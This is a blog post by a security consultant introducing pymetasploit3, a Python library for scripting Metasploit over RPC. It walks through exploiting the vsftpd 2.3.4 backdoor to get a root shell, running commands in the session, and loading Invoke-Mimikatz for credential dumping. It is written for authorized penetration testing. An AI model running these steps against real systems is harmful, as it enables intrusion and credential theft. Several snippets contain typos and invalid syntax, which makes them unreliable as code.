pymetasploit3 – Metasploit Automation Library

May 20, 2019, Dan McInerney, Senior Security Consultant, Coalfire

Have a checklist of tasks you perform every penetration test, such as SSH bruteforcing or port mapping? Automate it with Python and Metasploit! Unfortunately, there hasn’t been a working, full-featured Python library for making these tasks easy for many years now. This changes today.

Pymetasploit3 is built on top of the abandoned pymetasploit library by allfro. It makes automating Metasploit tasks easy. Since pymetasploit3 is built on top of Python3, you’ll also gain the power of Python3’s asyncio library to automate tasks in parallel should you choose to do so.

Installation

mkdir your-new-project-directory
cd your-new-project-directory
pipenv install –three pymetasploit3
pipenv shell

or

pip install --user pymetasploit3

Starting Metasploit RPC server

This can be done either through msfconsole or msfrpcd

Msfconsole

$ Msfconsole
msf> load msgrpc Pass=yourpassword

Msfrpcd

$ msfrpcd -P yourpassword

Usage

Now you’re ready to interact with Metasploit. If you’re connecting to the msfrpcd service, you’ll create an RPC client like this:

>>> from pymetasploit3.msfrpc import *
>>> client = MsfRpcClient('yourpassword')

Connecting to the msfconsole RPC plugin looks like:

>>> from pymetasploit3.msfrpc import *
>>> client = MsfRpcClient('yourpassword', port=55553)

The RPC client is the core of the library, and all functionality comes directly from this object. Exploring Python library objects is easy using dir():

>>> [m for m in dir(client) if not m.startswith('_')]
>>> ['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins', 'port', 'server', 'token', 'sessions', 'ssl', 'uri']
>>>

Let’s explore exploit modules:

>>> client.modules.exploit
['windows/wins/ms04_045_wins', 'windows/winrm/winrm_script_exec', 'windows/vpn/safenet_ike_11',
'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ...
'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21']
>>>

Creating an exploit module object is simple. You pass client.modules.use(), the type of module, followed by the name of the module.

>>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
>>>

Now we can set the module options. We’ll start by seeing what targets are available and setting the appropriate one.

>>> exploit.targets
{0: 'Automatic'}

>>>
>>> exploit.default_target
0
>>>

In this case there’s only one target, and it’s already set as the default. Should you use an exploit with multiple targets, you can easily manually set it:

>>> exploit.target = 0
0
>>>

Let’s figure out which payloads work with this target:

>>> exploit.targetpayloads()
['cmd/unix/interact']
>>>

Seeing and setting module options will be our next step.

>>> exploit.options
['WORKSPACE', 'VERBOSE', 'WfsDelay', 'EnableContextEncoding', 'ContextInformationFile', 'DisablePayloadHandler', 'RHOSTS', 'RPORT', 'SSL', 'SSLVersion', 'SSLVerifyMode', 'SSLCipher', 'Proxies', 'CPORT', 'CHOST', 'ConnectTimeout', 'TCP::max_send_size', 'TCP::send_delay']
>>>

Most of the options above are already set to sane defaults; but how do we know which options are required but missing, and how do we set them?

>>> expoit.missing_required
['RHOSTS']
>>> exploit[‘RHOSTS’] = 192.168.1.2
>>> exploit.runoptions
{'VERBOSE': False, 'WfsDelay': 0, 'EnableContextEncoding': False, 'DisablePayloadHandler': False, 'RPORT': 21, 'SSL': False, 'SSLVersion': 'Auto', 'SSLVerifyMode': 'PEER', 'ConnectTimeout': 10, 'TCP::max_send_size': 0, 'TCP::send_delay': 0, 'RHOSTS': '192.168.1.2'}
>>>

We see in the above output that we successfully set RHOSTS to be 192.168.1.2. Now we are ready to pop a shell by running the exploit inside a Metasploit console. The Metasploit console is the prompt you are given when you start up Metasploit with the command msfconsole, although you can also create consoles if you started Metasploit using the RPC daemon with msfrpcd. Below, we’ll create a new console, get its console id, and run the exploit module inside that console so that we can gather the module’s output.

>>> console_id = client.consoles.console().cid
>>> console = client.consoles.console(console_id)
>>> console.run_module_with_output(exploit, payload=’cmd/unix/interact’)
# Some time passes
'VERBOSE => false\nWfsDelay => 0 [...] [*] 192.168.1.2:21 - Banner: 220 vsFTPd 2.3.4\n[*] 192.168.1.2:21 - USER: 331 Please specify the password
[...]'
>>>

Now that we have a session, let’s interact with it. client.sessions.list will return a dictionary where each key is the session identifier, and the session data will be stored as the value.

>>> client.sessions.list
{'1': {'info': '', 'username': 'jsmith', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact',
'uuid': '5orqnnyv', 'tunnel_local': '172.16.14.1:58429', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor',
'exploit_uuid': '3whbuevf', 'tunnel_peer': '192.168.1.2:6200', 'workspace': 'false', 'routes': '',
'target_host': '192.168.1.2', 'type': 'shell', 'session_host': '192.168.1.2', 'desc': 'Command shell'}}
>>> shell = client.sessions.session('1')
>>> shell.write('whoami')
>>> shell.read()
'\nroot'
>>>

Say you want to run a command inside this session, wait for the command to finish, and return the output from the command. This is easy inside a console as each console will simply tell you if it’s still busy running the last command you sent it.

>>> console.is_busy()
False
>>>

Unfortunately, sessions have no such built-in functionality from Metasploit. There are three ways to get around this. Option 1 is to wait for any data at all to be read from the session and return this data. This works well for system commands that dump all the data at once. Below, we’re going to run the arp command on the remote session and return as soon as any data is received.

>>> cmd = 'arp'
>>> shell.run_with_output(cmd)
'\n Address                  HWtype  HWaddress           Flags Mask […]'
>>>

Option 2 is to wait a set amount of time and simply return all the data after that time. One detail to note about this is that by default, Metasploit’s comm timeout is 300 seconds. If you wish to run a command that will take longer than 300 seconds, you must set the Metasploit comm timeout as well as run_with_output()’s timeout. For example, to change a Meterpreter shell’s comm timeout to 500 seconds, run set_timeouts -c 500 within the Meterpreter shell. The shell in the example below is still the same simple Linux shell we’ve been using in prior examples, so this is unnecessary.

>>> cmd = 'arp'
>>> shell.run_with_output(cmd, timeout=10s, timeout_exception=False)
# 10 seconds pass
'\n Address                  HWtype  HWaddress           Flags Mask […]'
>>>

Option 3 is to stop collecting data after a certain string is found. This is often the most consistent for more complex commands. Below we’re going to look for the strings “Address” and “HWtype” which we know exist in the output of the arp command on Linux. When dealing with a Meterpreter session, the strings “[-]” and “[+]” are often good default end strings, as Metasploit will commonly use those in its output when a command has finished or failed. Metasploit’s output, however, is not consistent from one command to the next, so be careful to choose consistent end strings or you may end up reading the data buffer later and have a previous command’s output poisoning your new command’s output. As soon as we read either one of the selected end strings in the session’s output, we return all the data we collected up until that point.

>>> cmd = 'arp'
>>> end_strs = ['Address', 'HWtype']
>>> shell.run_with_output(cmd, end_strs=end_strs)
'\n Address                  HWtype  HWaddress           Flags Mask […]'
>>>

Assuming you acquired a Meterpreter shell on a Windows host, you can also run PowerShell commands.

>>> met_shell = client.sessions.session('2')
>>> psh_script = '/home/user/scripts/Invoke-Mimikatz.ps1'
>>> met_shell.import_psh(psh_script)
>>> met_shell.run_psh_cmd('Invoke-Mimikatz')
# Some time passes
'Mimikatz output…'
>>>

That outlines the basic functionality of pymetasploit3. Now go and replace your coworkers with a small Python script.

Dan McInerney

Author

Dan McInerney — Senior Security Consultant, Coalfire

Recent Posts

Post Topics

Archives